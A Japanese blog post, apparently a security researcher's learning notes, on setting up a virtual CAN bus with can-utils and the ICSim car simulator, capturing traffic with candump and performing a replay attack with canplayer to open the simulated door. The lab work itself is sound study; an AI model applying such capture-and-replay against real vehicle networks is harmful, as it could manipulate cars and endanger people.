しゅーと (@shutingrz)
しゅーと (@shutingrz)
Security researcher
Jul 16, 2019 5 min read

シミュレーション環境でCAN通信を試す

thumbnail for this post

車がなくてもカーセキュリティの勉強がしたい!

ということでカーハッカーズハンドブックを読みつつICSimを使ってCAN通信を試してみる。


環境

Ubuntu 18.04.2 LTS Desktop

参考


CANを使えるようにする

can-utilsのインストール

sudo apt install can-utils

仮想CANデバイス機能の有効化

modprobe vcan

仮想CANインターフェイス vcanの設定

ip link add dev vcan0 type vcan
ip link set up vcan0

vcan0があることを確認

$ ip link show dev vcan0
3: vcan0: <NOARP,UP,LOWER_UP> mtu 72 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/can

ICSimのインストール

ICSimのダウンロード

git clone https://github.com/zombieCraig/ICSim

必要なパッケージのインストール

sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils

※vcanを作成していない場合、setup_vcan.shを実行すればvcan0が作成される


CAN通信の取得 - ICSimのCAN通信をみてみる

ICSimのモニタとコントローラーを起動する。それぞれ別のコンソールで操作をする。

  • コンソール1

    ./icsim vcan0
    
  • コンソール2

    ./controls vcan0
    

icsim

すごい。コントローラーがなくてもキーボードでドアをあけたりスピードを上げたりできた。

この状態でcandumpを使う。

$ candump vcan0

  vcan0  166   [4]  D0 32 00 18
  vcan0  158   [8]  00 00 00 00 00 00 00 19
  vcan0  161   [8]  00 00 05 50 01 08 00 1C
  vcan0  191   [7]  01 00 10 A1 41 00 0B
  vcan0  164   [8]  00 00 C0 1A A8 00 00 04
  vcan0  133   [5]  00 00 00 00 A7
  vcan0  136   [8]  00 02 00 00 00 00 00 2A
  vcan0  13A   [8]  00 00 00 00 00 00 00 28
  vcan0  13F   [8]  00 00 00 05 00 00 00 2E
  vcan0  17C   [8]  00 00 00 00 10 00 00 21
  vcan0  18E   [3]  00 00 6B
  vcan0  1CF   [6]  80 05 00 00 00 1E
  vcan0  1DC   [4]  02 00 00 1B
  vcan0  183   [8]  00 00 00 0E 00 00 10 2B
  vcan0  143   [4]  6B 6B 00 E0

大量にCAN通信がダンプされる。

candumpのヘルプを参照し、オプションもりもりにしておくといい感じに見えた。

$ candump -d -x -e -a vcan0 
  vcan0  TX - -  244   [5]  00 00 00 01 13            '.....'
  vcan0  TX - -  1CF   [6]  80 05 00 00 00 1E         '......'
  vcan0  TX - -  1DC   [4]  02 00 00 1B               '....'
  vcan0  TX - -  320   [3]  00 00 12                  '...'
  vcan0  TX - -  324   [8]  74 65 00 00 00 00 0E 1A   'te......'
  vcan0  TX - -  37C   [8]  FD 00 FD 00 09 7F 00 1A   '........'
  vcan0  TX - -  40C   [8]  02 36 32 32 39 53 30 39   '.6229S09'
  vcan0  TX - -  183   [8]  00 00 00 0E 00 00 10 2B   '.......+'
  • -d : 欠落したCANフレームもモニタ
  • -x : RX/TX、CAN-FD の BRSビット、ESIビットの情報を表示
  • -e : CANのエラーフレームを読める形でダンプする
  • -a : アスキー表示もする

どのメッセージが何の意味を持っているのかは現状わからないが、それぞれ大事な役割があるんだろうなあ。

CANメッセージを出してみる

cansendを使う。

予めcandumpを起動しておく。

$ cansend vcan0 001#11.22.33.44.55.66.77.88

※色んなデータ表現や、8バイトCAN ID、CAN-FDもいける。詳しくはヘルプを参照。

candumpの結果をみる。
ICSimのノイズが多いのでCAN IDでフィルタをしておくとよい。

$ candump -d -x -e -a vcan0,001:7FF
  vcan0  TX - -  001   [8]  11 22 33 44 55 66 77 88   '."3DUfw.'

CANメッセージが送られていることがわかる。

CANメッセージを保存し、再送をしてみる

candumpのオプションでCAN通信をSocketCANコンパクト形式で保存できる。
また、canplayerで保存したSocketCANコンパクト形式ファイルを読み込んでCAN通信を発生させられる。
これができればリプレイ攻撃を試せる気がする。

1.CANメッセージを保存

candumpで保存開始

-lオプションを使えば、SocketCANコンパクト形式で自動的に決められた命名規則でファイルに保存される。
しかしこれだと標準出力が無効化され、またファイル名を自分で決めることができない。

-LオプションはSocketCANコンパクト形式を標準出力で出してくれるので、これにteeコマンドを併用して通信を保存したほうが見やすい気がする。

$ candump -L vcan0,001:7FF | tee test1.can

cansendで通信を発生させる

$ cansend vcan0 001#11.22.33.44.55.66.77.88

コマンド実行後、candumpを終了させる。

test1.canにSocketCANコンパクト形式で保存されているか確認。

$ cat test1.can 
(1563199857.105987) vcan0 001#1122334455667788

いい感じだ。

2.CANメッセージを再送

予めcandumpを起動しておく。

canplayerでメッセージを再送

$ canplayer -I test1.can

candumpの表示をみる。

$ candump -d -x -e -a vcan0,001:7FF
  vcan0  TX - -  001   [8]  11 22 33 44 55 66 77 88   '."3DUfw.'

うまくCANメッセージが送信できていることが確認できた。

リプレイ攻撃でICSimのドアを開けてみる

canplayerがちゃんと仕事をしてくれていることがわかったので、実際の攻撃を試してみる。

流れ

  1. ICSimとcontrollerを起動する
  2. candumpでメッセージを保存するようにする
  3. controllerでドアを開ける
  4. ドアを開けたあと、candumpを終了する
  5. 開けたドアをしめておく
  6. canplayerを実行し、CANメッセージを再送する
  7. ドアが開いたか確認する

candumpでドアを開ける通信をキャプチャ

$ candump -d -L vcan0  | tee open_door.can

canplayerでドアを開ける

$ canplayer -I open_door.can 

gifでどうぞ。 replay-open_door

開いた!多分できている気がする。

まとめ

実際のCANデバイスがなくても通信出したりキャプチャしたり楽しめた。
またCANメッセージそれぞれの意味がわからなくても、まるごと通信をキャプチャすることでシミュレーション環境上とはいえリプレイ攻撃ができることもわかった。

※最近の車に搭載されているECUのCAN通信はMACが付加されており単純なリプレイ攻撃はできない模様。

カーハッカーズハンドブックを読み進めてまた色々試してみます。